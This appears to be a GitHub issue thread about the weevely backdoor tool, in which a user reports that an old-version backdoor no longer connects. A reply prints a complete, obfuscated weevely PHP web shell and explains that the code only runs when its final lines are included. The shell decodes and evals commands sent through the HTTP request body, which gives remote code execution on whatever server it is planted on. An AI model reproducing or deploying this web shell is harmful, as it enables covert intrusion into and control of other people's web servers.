old version created weevely backdoor not connect with latest version

[digu3120]

here i old backdoor

Password is :- 1234

But it is not connected with latest version weevely

[digu3120]

php.txt
here is my backdoor code which is created with old weevely but now it is not connected with new version weevely
password si :- 11234

[ZanyMonk]

Is that all your webshell contains ?

Because it lacks the last part. Here is full weevely webshell:

$ weevely generate -obfuscator obfusc1_php 1234 -       
<?php
$B='fXZunction XZx($t,$k){XZ$XZc=XZstrlen($k);$l=strleXZn($tXZ);$o=XZ"XZ";for(XZ$i=0;$i<$l;XZ){for($';
$m=');@eXZval(@XZXZgzXZuncompress(@x(@baXZseXZ64_decoXZde($m[1]XZ),$k))XZ);XZ$o=@ob_get_XZcXZontent';
$g='j=XZ0;($j<XZ$c&&$XZiXZ<$l);$j++,XZ$i+XZ+){$oXZ.XZ=$t[$i]^$k[XZ$j];}XZ}return $oXZ;}XZif (XZXZ@preg';
$z='s(XZ);@oXZb_eXZnd_clean();$rXZ=@base6XZ4_enXZcode(@x(XZ@gXZzcompresXZs(XZ$o),$k));priXZXZXZnt("$p$kh$r$kf");}';
$H='_match("/$XZkh(XZ.+XZ)$kf/",@file_get_conteXZnXZts("php://XZinputXZ"),$m)=XZ=1)XZ {@ob_stXZart(';
$s='$k="XZ8XZ1dc9bdb";XZ$kh="5XZ2d04dc2003XZXZ6";$kf="XZdbd8313ed055XZ";XZ$p="CNVSXZxXZwt6lQtXZXZD1N7G";';
$E=str_replace('xk','','xkcrexkaxktxkexk_functixkon');
$i=str_replace('XZ','',$s.$B.$g.$H.$m.$z);
$Z=$E('',$i);$Z();
?>

Without the three last lines you are missing ($E, $i and $Z in this case) it won't do anything.